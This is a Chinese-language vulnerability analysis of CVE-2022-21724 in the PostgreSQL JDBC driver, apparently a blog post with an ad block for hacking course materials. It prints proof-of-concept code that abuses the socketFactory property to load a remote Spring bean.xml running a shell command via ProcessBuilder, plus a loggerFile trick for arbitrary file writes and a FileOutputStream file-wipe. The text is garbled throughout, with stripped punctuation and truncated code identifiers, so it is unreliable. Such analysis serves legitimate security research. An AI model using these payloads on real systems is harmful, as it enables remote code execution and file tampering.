漏洞简介 在PostgreSQL数据库的jdbc驱动程序中发现一个安全漏洞。当攻击者控制jdbcurl或者属性时,使用PostgreSQL数据库的系统将受到攻击。pgjdbc根据通过authenticationPluginClassName、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallback连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。 影响范围:9。4。1208PgJDBC42。2。2542。3。0PgJDBC42。3。2漏洞复现 创建maven项目,添加依赖!https:mvnrepository。comartifactorg。postgresqlpostgresqldependencygroupIdorg。postgresqlgroupIdpostgresqlartifactIdversion42。3。1versiondependency!https:mvnrepository。comartifactorg。springframeworkspringcontextsupportdependencygroupIdorg。springframeworkgroupIdspringcontextsupportartifactIdversion5。3。23versiondependency 编写测试代码importjava。sql。Cimportjava。sql。DriverMimportjava。sql。SQLEpublicclasscve202221724{publicstaticvoidmain(String〔〕args)throwsSQLException{StringsocketFactoryClassorg。springframework。context。support。ClassPathXmlApplicationCStringsocketFactoryArghttp:127。0。0。1:8080bean。StringjdbcUrljdbc:postgresql:127。0。0。1:5432test?socketFactorysocketFactoryClasssocketFactoryArgsocketFactoryAConnectionconnectionDriverManager。getConnection(jdbcUrl);}} bean。xmlbeansxmlnshttp:www。springframework。orgschemabeansxmlns:xsihttp:www。w3。org2001XMLSchemainstancexmlns:phttp:www。springframework。orgschemapxsi:schemaLocationhttp:www。springframework。orgschemabeanshttp:www。springframework。orgschemabeansspringbeans。xsd!普通方式创建类beanidexecclassjava。lang。ProcessBuilderinitmethodstartconstructorarglistvaluebashvaluevaluecvaluevaluecalc。exevaluelistconstructorargbeanbeans 【一一帮助安全学习,所有资料关注我,私信回复资料获取一一】 网络安全学习路线 20份渗透测试电子书 安全攻防357页笔记 50份安全攻防面试指南 安全红队渗透工具包 网络安全必备书籍 100个漏洞实战案例 安全大厂内部教程漏洞分析 任意代码执行socketFactorysocketFactoryArg 先将调试后的流程大概画出 java。sql。DriverManagergetConnection(java。lang。String) java。sql。DriverManagergetConnection(java。lang。String,java。util。Properties,java。lang。C?) 利用org。postgresql。Driver的jdbc驱动去连接数据库 org。postgresql。Driverconnect 调用makeConnection去连接数据库 org。postgresql。DrivermakeConnection org。postgresql。jdbc。PgConnectionPgConnection org。postgresql。core。ConnectionFactoryopenConnection org。postgresql。core。v3。ConnectionFactoryImplopenConnectionImpl org。postgresql。core。SocketFactoryFactorygetSocketFactory PGProperty是枚举类型其中的get方法是判断枚举项的值有没有传入的properties,如果存在就查找返回,没有就返回默认值 SOCKETFACTORY(socketFactory,null,Specifyasocketfactoryforsocketcreation),SOCKETFACTORYARG(socketFactoryArg,null,ArgumentforwardedtoconstructorofSocketFactoryclass。), org。postgresql。util。ObjectFactoryinstantiate 通过newInstance来实现对ctor类的创建,同时args作为参数。构造方法中有且只有一个String参数的类就可以满足条件。org。apache。commons。jxpath。functions。ConstructorFunctionorg。apache。commons。jxpath。functions。MethodFunctionjava。io。FileOutputStream 通过利用CVE201717485实现Springspel执行任意命令或者利用FileOutputStream将任意文件置空(jdbc:postgresql:127。0。0。1:5432test?socketFactoryjava。io。FileOutputStreamsocketFactoryArgtest。txt)任意代码执行sslfactorysslfactoryarg (https:xzfile。aliyuncs。commediauploadpicture20221107161250f8d817745e731。gif) init:85,ClassPathXmlApplicationContext(org。springframework。context。support)newInstance0:1,NativeConstructorAccessorImpl(sun。reflect)newInstance:62,NativeConstructorAccessorImpl(sun。reflect)newInstance:45,DelegatingConstructorAccessorImpl(sun。reflect)newInstance:423,Constructor(java。lang。reflect)instantiate:62,ObjectFactory(org。postgresql。util)getSslSocketFactory:64,SocketFactoryFactory(org。postgresql。core)convert:34,MakeSSL(org。postgresql。ssl)enableSSL:546,ConnectionFactoryImpl(org。postgresql。core。v3)tryConnect:151,ConnectionFactoryImpl(org。postgresql。core。v3)openConnectionImpl:215,ConnectionFactoryImpl(org。postgresql。core。v3)openConnection:51,ConnectionFactory(org。postgresql。core)init:225,PgConnection(org。postgresql。jdbc)makeConnection:466,Driver(org。postgresql)connect:265,Driver(org。postgresql)getConnection:664,DriverManager(java。sql)getConnection:270,DriverManager(java。sql)main:17,cve202221724 org。postgresql。core。v3。ConnectionFactoryImplopenConnectionImpl 尝试与数据库进行连接 org。postgresql。core。v3。ConnectionFactoryImpltryConnect 建立连接后收到请求以S开头,进入org。postgresql。ssl。MakeSSLconvert org。postgresql。core。v3。ConnectionFactoryImplenableSSL org。postgresql。ssl。MakeSSLconvert org。postgresql。core。SocketFactoryFactorygetSslSocketFactory 任意文件写入loggerLevelloggerFile importjava。sql。Cimportjava。sql。DriverMimportjava。sql。SQLEpublicclasscve202221724{publicstaticvoidmain(String〔〕args)throwsSQLException{StringloggerLStringloggerFiletest。StringshellCStringjdbcUrljdbc:postgresql:127。0。0。1:5432test?loggerLevelloggerLevelloggerFileloggerFileshellCConnectionconnectionDriverManager。getConnection(jdbcUrl);}} org。postgresql。Driverconnect org。postgresql。DriversetupLoggerFromProperties 通过设置扩展参数LOGGERFILE指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件 生成临时文件,之后将日志信息保存到文件中 org。postgresql。Driverconnect 先通过setupLoggerFromProperties设定相关的参数然后再利用LOGGER。log保存文件 漏洞修复 针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常 对于任意文件写入而言,高版本中移除了对日志文件的设定操作setupLoggerFromProperties(props);